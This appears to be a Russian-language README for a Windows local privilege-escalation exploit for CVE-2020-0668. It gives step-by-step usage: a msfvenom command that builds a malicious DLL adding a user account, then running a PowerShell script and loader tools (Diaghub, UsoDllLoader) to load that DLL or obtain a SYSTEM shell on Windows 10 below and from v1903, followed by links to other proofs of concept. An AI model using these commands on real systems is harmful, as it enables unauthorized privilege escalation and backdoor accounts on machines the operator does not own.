CVE-2020-0668

Сделать эксплойт CVE-2020-0668 рабочим для версии < win10 v1903 и версии >= win10 v1903

Diaghub Exploit (< v1903)

powershell эксплойт работает на версии < win10 v1903 с Diaghub.

Использование

• ШАГ 1：сгенерировать evil.dll с помощью msfvenom
  • пример добавления пользователя： msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• ШАГ 2：выполнить exp.ps1 в powershell
• ШАГ 3：выполнить Diaghub.exe C:\ProgramData evil.dll для загрузки dll и добавления пользователя.

• Diaghub

UsoDllLoader Exploit (>= v1903)

powershell эксплойт работает на версии >= win10 v1903 с UsoDllLoader.

Использование

• ШАГ 1 : выполнить exp.ps1 в powershell
• ШАГ 2 : выполнить UsoDllLoader.exe для получения системной оболочки

• UsoDllLoader

Другие эксплойты или PoC

Эксплойт SysTracingPoc

Версия x86 SysTracingPoc для issue，эксплойт работает на версии >= win10 v1903 из-за UsoLoadDll.

• SysTracingPoc

PoC от RedCursorSecurityConsulting

PoC на .net. Если вы посмотрите на C:\Windows\System32\evil.dll и переименуете его в evil.txt.

Вы обнаружите, что это не dll-файл. В нем только журнал трассировки.

• CVE-2020-0668

PoC от Nan3r

PoC на powershell. Также только журнал трассировки в evil.dll.

• CVE-2020-0668